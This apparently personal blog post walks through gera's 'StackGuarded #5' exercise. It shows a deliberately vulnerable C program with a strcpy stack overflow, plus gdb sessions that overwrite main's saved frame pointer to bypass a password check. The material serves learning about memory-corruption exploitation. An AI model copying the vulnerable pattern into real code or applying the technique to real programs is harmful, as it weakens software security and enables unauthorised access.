Sunday, September 9, 2012

StackGuarded #5

gera's StackGuarded #5.
/* sg5.c                                                   *
 * specially crafted to feed your brain by gera@corest.com */

int need_to_check = 1;  // XXX: Add global configuration

// XXX: Add real encryption here
#define decrypt(dest,src)     strcpy(dest,src)

int check(char *user) {
        char temp[80];

        decrypt(temp,user);

        // XXX: add some real checks in the future
        return !strcmp(temp,"gera");
}

int main(int argv, char **argc) {
    int user_ok;

    user_ok = check(argc[1]);
    if (!user_ok && need_to_check) {
        printf("fail !\n");
        exit(1);
    }
    printf("win !\n");
    exit(0);
}
Same caveats as #4. I also added two printf()s to visualize win/fail.
I don't believe you can get code execution here, but you can "win" with an incorrect password. The quick overview is to use the buffer overflow in check() to control main()'s ebp pointer. With this control comes control of the user_ok variable. This variable just needs to be set to 1 for a win.
Information gathering.
(gdb) x/x &need_to_check
0x804962c :      0x00000001

(gdb) x/x &user_ok
0xbffffb04:     0x00000000
(gdb) x/x $ebp - 4
0xbffffb04:     0x00000000
need_to_check is out in data land and has a value of 1. user_ok is on main()'s stack frame and it is 4 away from main()'s ebp. Exploit.
(gdb) break 22
Breakpoint 1 at 0x804855b: file sg5.c, line 22.
(gdb) run `perl -e 'print "A" x 80'`
Starting program: /home/dennis/sg5/sg5 `perl -e 'print "A" x 80'`

Breakpoint 1, main (argv=24641422, argc=0xbffffad0) at sg5.c:22
22          if (!user_ok && need_to_check) {
(gdb) x/x &user_ok
0xbffff9fc:     0x00000000 

(gdb) set $ebp = 0x0804962c + 4
(gdb) x/x &user_ok
0x804962c :      0x00000001
(gdb) c
Continuing.
win !

Program exited normally.
I overflow check()'s buffer into main()'s saved ebp (remember above caveats). On return, user_ok is set to 0 and on its way to a "fail". But, if main()'s ebp is overwritten so that it points 4 bytes away from need_to_check, user_ok (ebp - 4) will actually point to need_to_check, which happens to be 1 and victory is in hand!

No comments:

Post a Comment